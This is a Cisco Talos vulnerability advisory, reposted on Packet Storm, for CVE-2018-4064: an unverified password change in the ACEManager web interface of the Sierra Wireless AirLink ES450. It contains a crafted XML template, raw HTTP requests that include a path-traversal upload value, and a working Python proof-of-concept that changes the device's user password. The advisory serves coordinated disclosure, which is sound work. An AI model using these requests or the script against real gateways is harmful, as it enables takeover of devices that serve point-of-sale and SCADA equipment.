Sierra Wireless AirLink ES450 ACEManager upload.cgi Unverified Password Change

2019-04-26T00:00:00
ID PACKETSTORM:152649
Type packetstorm
Reporter Cisco Talos
Modified 2019-04-26T00:00:00

Description

                                        
                                            `Talos Vulnerability Report  
  
TALOS-2018-0749  
  
Sierra Wireless AirLink ES450 ACEManager upload.cgi Unverified Password Change Vulnerability  
April 25, 2019  
  
CVE Number  
CVE-2018-4064  
  
Summary  
  
An exploitable unverified password change vulnerability exists in the ACEManager upload.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can cause a unverified device configuration change, resulting in an unverified change of the user password on the device. An attacker can make an authenticated HTTP request to trigger this vulnerability.  
Tested Versions  
  
Sierra Wireless AirLink ES450 FW 4.9.3  
  
Product URLs  
  
https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/  
CVSSv3 Score  
  
8.5 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L  
CWE  
  
CWE-620: Unverified Password Change  
  
Details  
  
Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.  
  
ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.  
  
Utilizing the template upload capability within the WebUI, an authenticated user can change MSCIID settings without verification. While the normal method of changing the user password requires the old user password, uploading the following XML template allows the authenicated user to change the password without the previous user password.  
Template Data  
  
<?xml version="1.0" ?>  
<template>  
<item msciid="5003" title="User Password" value="password01" />  
</template>  
  
This can be done by utilizing the the WebUI template upload, or by using the following HTTP requests.  
  
POST /cgi-bin/upload.cgi HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html  
Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: multipart/form-data; boundary=---------------------------98690229210303203401454887637  
Content-Length: 624  
  
-----------------------------98690229210303203401454887637  
Content-Disposition: form-data; name="save-as-filename"  
  
SWITemplate.xml  
-----------------------------98690229210303203401454887637  
Content-Disposition: form-data; name="file-location"  
  
../admin/SWITemplate.xml  
-----------------------------98690229210303203401454887637  
Content-Disposition: form-data; name="upload-file"; filename="SWIApplyTemplate.xml"  
Content-Type: text/xml  
  
<?xml version="1.0" ?>  
<template>  
<item msciid="5003" title="User Password" value="password01" />  
</template>  
  
-----------------------------98690229210303203401454887637--  
  
Followed by  
  
POST /cgi-bin/template_load.cgi HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/plain, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 40  
Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f  
Connection: close  
  
path=/www/auth/user/SWIApplyTemplate.xml  
  
Other MSCIID values can be changed without verification as well, omitting a MSCIID from the template means that the value will remain unchanged from the current state.  
  
This vulnerability was discovered and tested using the AirLink ES450. Most likely this vulnerability also affects the AirLink GX450 product as well.  
  
Exploit Proof of Concept  
  
#!/usr/bin/env python  
#Author : Carl Hurd, Cisco Talos  
import sys  
import requests  
  
from requests_toolbelt.utils import dump  
  
def auth(ip, port, password):  
data = """<request xmlns="urn:acemanager">  
<connect>  
<login>user</login>  
<password><![CDATA[{}]]></password>  
</connect>  
</request>""".format(password)  
  
response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)  
  
try:  
cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])  
return cookies  
except:  
print("Error while authenticating")  
sys.exit(0)  
  
def main():  
if len(sys.argv) < 5 or len(sys.argv) > 5:  
print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))  
sys.exit(0)  
  
ip = sys.argv[1]  
port = sys.argv[2]  
password = sys.argv[3]  
new_pass = sys.argv[4]  
  
print("New Password : {}\n".format(new_pass))  
  
cookies = auth(ip, port, password)  
  
xml = """<?xml version="1.0" ?>  
<template>  
<item msciid="5003" title="User Password" value="{}" />  
</template>""".format(new_pass)  
  
files = {'save-as-filename': (None, "SWITemplate.xml"), 'file-location': (None, "../admin/SWITemplate.xml"), 'upload-file': ('SWIApplyTemplate.xml', xml, 'text/xml')}  
response = requests.post("http://"+ip+":"+port+"/cgi-bin/upload.cgi", cookies=cookies, files=files)  
  
response = requests.post("http://"+ip+":"+port+"/cgi-bin/template_load.cgi", cookies=cookies, data="path=/www/auth/user/SWIApplyTemplate.xml", headers={"Content-Type": "application/x-www-form-urlencoded"})  
  
print(response.text)  
  
if __name__ == "__main__":  
main()  
  
Timeline  
  
2018-12-14 - Vendor disclosure  
2018-12-17 - Vendor acknowledged  
2019-01-08 - Discussion to review vendor's analysis of issues  
2019-03-26 - Vendor established timelines for fix/public disclosure  
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756  
2019-04-25 - Public Release  
  
Credit  
  
Discovered by Carl Hurd of Cisco Talos.  
`